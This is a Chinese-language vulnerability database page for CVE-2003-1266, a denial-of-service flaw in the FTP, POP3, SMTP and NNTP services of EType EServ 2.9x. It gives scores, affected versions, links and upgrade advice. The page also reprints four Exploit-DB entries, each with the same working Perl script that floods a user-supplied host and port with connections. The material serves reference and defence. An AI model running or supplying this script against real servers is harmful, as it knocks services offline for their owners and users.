CVE-2003-1266
CVSS5.0
发布时间 :2003-12-31 00:00:00
修订时间 :2008-09-05 16:36:28
NMCOE    

[原文]The (1) FTP, (2) POP3, (3) SMTP, and (4) NNTP servers in EServer 2.92 through 2.97, and possibly 2.98, allow remote attackers to cause a denial of service (crash) via a large amount of data.


[CNNVD]EType EServ POP3远程拒绝服务攻击漏洞(CNNVD-200312-411)

        
        Eserv是一款集成Mail、News、Web、FTP和代理服务器的系统。
        Eserv的POP3服务程序对超大数据处理不正确,远程攻击者可以利用这个漏洞对POP3服务进行拒绝服务攻击。
        攻击者连接Eserv POP3服务器,发送超过4950001b字节大小数据,可使POP3服务崩溃.这不是由于缓冲区溢出引起,因此不能用于提升权限和执行任意代码。
        

- CVSS (基础分值)

CVSS分值: 5 [中等(MEDIUM)]
机密性影响: NONE [对系统的机密性无影响]
完整性影响: NONE [不会对系统完整性产生影响]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/a:etype:eserv:2.95
cpe:/a:etype:eserv:2.98
cpe:/a:etype:eserv:2.97
cpe:/a:etype:eserv:2.92
cpe:/a:etype:eserv:2.96
cpe:/a:etype:eserv:2.93
cpe:/a:etype:eserv:2.94

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1266
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2003-1266
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200312-411
(官方数据源) CNNVD

- 其它链接及资源

http://www.securityfocus.com/bid/6522
(PATCH)  BID  6522
http://www.securityfocus.com/bid/6521
(PATCH)  BID  6521
http://www.securityfocus.com/bid/6520
(PATCH)  BID  6520
http://www.securityfocus.com/bid/6519
(PATCH)  BID  6519
http://www.iss.net/security_center/static/10975.php
(PATCH)  XF  eserv-remote-data-dos(10975)
http://archives.neohapsis.com/archives/bugtraq/2003-01/0022.html
(PATCH)  BUGTRAQ  20030104 EServ/2.97 remote DoS

- 漏洞信息

EType EServ POP3远程拒绝服务攻击漏洞
中危 其他
2003-12-31 00:00:00 2006-01-19 00:00:00
远程  
        
        Eserv是一款集成Mail、News、Web、FTP和代理服务器的系统。
        Eserv的POP3服务程序对超大数据处理不正确,远程攻击者可以利用这个漏洞对POP3服务进行拒绝服务攻击。
        攻击者连接Eserv POP3服务器,发送超过4950001b字节大小数据,可使POP3服务崩溃.这不是由于缓冲区溢出引起,因此不能用于提升权限和执行任意代码。
        

- 公告与补丁

        厂商补丁:
        Etype
        -----
        根据报告最新版本EServ 2.99已经修正了这个漏洞,不过没有得到供应商证实:
        
        http://www.eserv.ru/eserv/

- 漏洞信息 (22121)

EType EServ 2.9x FTP Remote Denial Of Service Vulnerability (EDBID:22121)
windows dos
2003-01-04 Verified
0 D4rkGr3y
N/A [点击下载]
source: http://www.securityfocus.com/bid/6519/info

EServ is a proxy software package distributed by EType. It is available for Microsoft Windows operating systems.

It has been reported that a problem in EServ may cause the software to crash. When a remote user sends a large amount of data via FTP, the software becomes unstable. 

#!/usr/bin/perl
#LEGAL NOTICE: Don't test this on networks you don't administer,
#and do not test this tool on networks you don't own without
#permission of the network owner.  You are responsible for all
#damage due to your use of this tool.
use IO::Socket;
print "$0: eServ Remote DoS Exploit\r\n";
print "By Matthew Murphy \<mattmurphy\@kc.rr.com\>\r\n\r\n";
print "Server hostname\: ";
$host = trim(chomp($line = <STDIN>));
print "Service port to probe\: ";
$port = trim(chomp($line = <STDIN>));
print "\r\nBeginning probe -- stop with CTRL+C\r\n";
while (1) {
 $f = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$host:$port");
 undef $f;
}
		

- 漏洞信息 (22122)

EType EServ 2.9x POP3 Remote Denial Of Service Vulnerability (EDBID:22122)
windows dos
2003-01-04 Verified
0 D4rkGr3y
N/A [点击下载]
source: http://www.securityfocus.com/bid/6520/info

EServ is a proxy software package distributed by EType. It is available for Microsoft Windows operating systems.

It has been reported that a problem in EServ may cause the software to crash. When a remote user sends a large amount of data via POP3, the software becomes unstable.

#!/usr/bin/perl
#LEGAL NOTICE: Don't test this on networks you don't administer,
#and do not test this tool on networks you don't own without
#permission of the network owner.  You are responsible for all
#damage due to your use of this tool.
use IO::Socket;
print "$0: eServ Remote DoS Exploit\r\n";
print "By Matthew Murphy \<mattmurphy\@kc.rr.com\>\r\n\r\n";
print "Server hostname\: ";
$host = trim(chomp($line = <STDIN>));
print "Service port to probe\: ";
$port = trim(chomp($line = <STDIN>));
print "\r\nBeginning probe -- stop with CTRL+C\r\n";
while (1) {
 $f = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$host:$port");
 undef $f;
}
		

- 漏洞信息 (22123)

EType EServ 2.9x SMTP Remote Denial Of Service Vulnerability (EDBID:22123)
windows dos
2003-01-04 Verified
0 D4rkGr3y
N/A [点击下载]
source: http://www.securityfocus.com/bid/6521/info

EServ is a proxy software package distributed by EType. It is available for Microsoft Windows operating systems.

It has been reported that a problem in EServ may cause the software to crash. When a remote user sends a large amount of data via SMTP, the software becomes unstable. 

#!/usr/bin/perl
#LEGAL NOTICE: Don't test this on networks you don't administer,
#and do not test this tool on networks you don't own without
#permission of the network owner.  You are responsible for all
#damage due to your use of this tool.
use IO::Socket;
print "$0: eServ Remote DoS Exploit\r\n";
print "By Matthew Murphy \<mattmurphy\@kc.rr.com\>\r\n\r\n";
print "Server hostname\: ";
$host = trim(chomp($line = <STDIN>));
print "Service port to probe\: ";
$port = trim(chomp($line = <STDIN>));
print "\r\nBeginning probe -- stop with CTRL+C\r\n";
while (1) {
 $f = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$host:$port");
 undef $f;
}
		

- 漏洞信息 (22124)

EType EServ 1.9x NNTP Remote Denial Of Service Vulnerability (EDBID:22124)
windows dos
2003-01-04 Verified
0 D4rkGr3y
N/A [点击下载]
source: http://www.securityfocus.com/bid/6522/info

EServ is a proxy software package distributed by EType. It is available for Microsoft Windows operating systems.

It has been reported that a problem in EServ may cause the software to crash. When a remote user sends a large amount of data via NNTP, the software becomes unstable.

#!/usr/bin/perl
#LEGAL NOTICE: Don't test this on networks you don't administer,
#and do not test this tool on networks you don't own without
#permission of the network owner.  You are responsible for all
#damage due to your use of this tool.
use IO::Socket;
print "$0: eServ Remote DoS Exploit\r\n";
print "By Matthew Murphy \<mattmurphy\@kc.rr.com\>\r\n\r\n";
print "Server hostname\: ";
$host = trim(chomp($line = <STDIN>));
print "Service port to probe\: ";
$port = trim(chomp($line = <STDIN>));
print "\r\nBeginning probe -- stop with CTRL+C\r\n";
while (1) {
 $f = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$host:$port");
 undef $f;
}
		

- 漏洞信息

60346
Etype EServ FTP Service Large Request Remote DoS
Remote / Network Access Denial of Service
Loss of Availability Upgrade
Vendor Verified

- 漏洞描述

- 时间线

2003-01-04 Unknow
Unknow Unknow

- 解决方案

Upgrade to version 2.99 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

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